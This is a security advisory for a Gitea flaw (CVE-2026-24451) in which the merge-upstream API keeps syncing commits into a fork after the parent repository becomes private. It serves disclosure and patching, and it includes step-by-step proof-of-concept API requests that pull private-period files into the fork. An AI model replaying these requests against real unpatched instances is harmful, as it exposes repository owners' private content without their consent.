GHSA-WRF9-R3H7-7X5V
Vulnerability from github – Published: 2026-07-21 21:42 – Updated: 2026-07-21 21:42Summary
The POST /api/v1/repos/{owner}/{repo}/merge-upstream endpoint continues to synchronize commits from a parent repository after the parent repository has been changed from public to private.
A fork created while the parent repository was public can still receive commits made after the parent repository becomes private. As a result, content added during the private period becomes available through the fork repository after synchronization.
Details
Gitea provides the merge-upstream API to synchronize a fork with its parent repository.
A typical workflow is:
- A repository is public.
- Another user creates a fork.
- The fork owner uses
merge-upstreamto receive updates from the parent repository.
However, if the parent repository is later changed from public to private, the synchronization endpoint continues to import new commits from the parent repository into the fork.
In testing on Gitea 1.26.2, a fork owner who can no longer directly access the parent repository is still able to synchronize newly created commits from the parent repository into the fork by calling merge-upstream.
As a result, commits created after the visibility change can be propagated into the fork through the normal fork synchronization workflow.
PoC
Proof-of-Concept Code
https://anonymous.4open.science/r/Gitea_PoC-EC93/4_poc_merge_upstream
PoC Details
- User
alicecreates a public repositoryalice/P. - User
bobforks the repository, creatingbob/P. alicechangesalice/Pfrom public to private.- Verify that
bobcan no longer directly access the parent repository:
GET /api/v1/repos/alice/P
Response:
404 Not Found
GET /api/v1/repos/alice/P/contents/README.md
Response:
404 Not Found
- While the repository is private,
alicecommits a new file:
secret.txt
- Verify that
bobcannot directly access the new file from the parent repository:
GET /api/v1/repos/alice/P/contents/secret.txt
Response:
404 Not Found
bobsynchronizes the fork:
POST /api/v1/repos/bob/P/merge-upstream
Response:
200 OK
- The newly added file is now available through the fork repository:
GET /api/v1/repos/bob/P/contents/secret.txt
Response:
200 OK
The attached PoC reproduces the behavior end-to-end.
As a control test, attempting to access the private-period commit directly through the fork's Git API before synchronization fails:
GET /api/v1/repos/bob/P/git/commits/<private-period-commit-sha>
Response:
404 Not Found
This indicates that the commit becomes available in the fork only after the merge-upstream operation synchronizes it from the parent repository.
Impact
A fork created while a repository is public can continue receiving updates from the parent repository after the parent repository is changed to private.
Consequently, content committed after the visibility change may become available through fork synchronization even when the fork owner can no longer directly access the parent repository.
The impact is limited to content that is synchronized from the parent repository into the affected fork. The issue does not allow modification of the parent repository or access to repositories that were never forked.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "code.gitea.io/gitea"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.26.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-24451"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-284"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-21T21:42:28Z",
"nvd_published_at": "2026-07-03T21:16:57Z",
"severity": "HIGH"
},
"details": "### Summary\n\nThe `POST /api/v1/repos/{owner}/{repo}/merge-upstream` endpoint continues to synchronize commits from a parent repository after the parent repository has been changed from public to private.\n\nA fork created while the parent repository was public can still receive commits made after the parent repository becomes private. As a result, content added during the private period becomes available through the fork repository after synchronization.\n\n### Details\n\nGitea provides the `merge-upstream` API to synchronize a fork with its parent repository.\n\nA typical workflow is:\n\n1. A repository is public.\n2. Another user creates a fork.\n3. The fork owner uses `merge-upstream` to receive updates from the parent repository.\n\nHowever, if the parent repository is later changed from public to private, the synchronization endpoint continues to import new commits from the parent repository into the fork.\n\nIn testing on Gitea 1.26.2, a fork owner who can no longer directly access the parent repository is still able to synchronize newly created commits from the parent repository into the fork by calling `merge-upstream`.\n\nAs a result, commits created after the visibility change can be propagated into the fork through the normal fork synchronization workflow.\n\n### PoC\n\n#### Proof-of-Concept Code\n\nhttps://anonymous.4open.science/r/Gitea_PoC-EC93/4_poc_merge_upstream\n\n#### PoC Details\n\n1. User `alice` creates a public repository `alice/P`.\n2. User `bob` forks the repository, creating `bob/P`.\n3. `alice` changes `alice/P` from public to private.\n4. Verify that `bob` can no longer directly access the parent repository:\n\n```http\nGET /api/v1/repos/alice/P\n```\n\nResponse:\n\n```http\n404 Not Found\n```\n\n```http\nGET /api/v1/repos/alice/P/contents/README.md\n```\n\nResponse:\n\n```http\n404 Not Found\n```\n\n5. While the repository is private, `alice` commits a new file:\n\n```text\nsecret.txt\n```\n\n6. Verify that `bob` cannot directly access the new file from the parent repository:\n\n```http\nGET /api/v1/repos/alice/P/contents/secret.txt\n```\n\nResponse:\n\n```http\n404 Not Found\n```\n\n7. `bob` synchronizes the fork:\n\n```http\nPOST /api/v1/repos/bob/P/merge-upstream\n```\n\nResponse:\n\n```http\n200 OK\n```\n\n8. The newly added file is now available through the fork repository:\n\n```http\nGET /api/v1/repos/bob/P/contents/secret.txt\n```\n\nResponse:\n\n```http\n200 OK\n```\n\nThe attached PoC reproduces the behavior end-to-end.\n\nAs a control test, attempting to access the private-period commit directly through the fork\u0027s Git API before synchronization fails:\n\n```http\nGET /api/v1/repos/bob/P/git/commits/\u003cprivate-period-commit-sha\u003e\n```\n\nResponse:\n\n```http\n404 Not Found\n```\n\nThis indicates that the commit becomes available in the fork only after the `merge-upstream` operation synchronizes it from the parent repository.\n\n### Impact\n\nA fork created while a repository is public can continue receiving updates from the parent repository after the parent repository is changed to private.\n\nConsequently, content committed after the visibility change may become available through fork synchronization even when the fork owner can no longer directly access the parent repository.\n\nThe impact is limited to content that is synchronized from the parent repository into the affected fork. The issue does not allow modification of the parent repository or access to repositories that were never forked.",
"id": "GHSA-wrf9-r3h7-7x5v",
"modified": "2026-07-21T21:42:28Z",
"published": "2026-07-21T21:42:28Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/go-gitea/gitea/security/advisories/GHSA-wrf9-r3h7-7x5v"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24451"
},
{
"type": "WEB",
"url": "https://github.com/go-gitea/gitea/pull/38151"
},
{
"type": "WEB",
"url": "https://blog.gitea.com/release-of-1.26.3-and-1.26.4"
},
{
"type": "PACKAGE",
"url": "https://github.com/go-gitea/gitea"
},
{
"type": "WEB",
"url": "https://github.com/go-gitea/gitea/releases/tag/v1.26.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Gitea: Fork Synchronization Continues After Parent Repository Changes from Public to Private"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.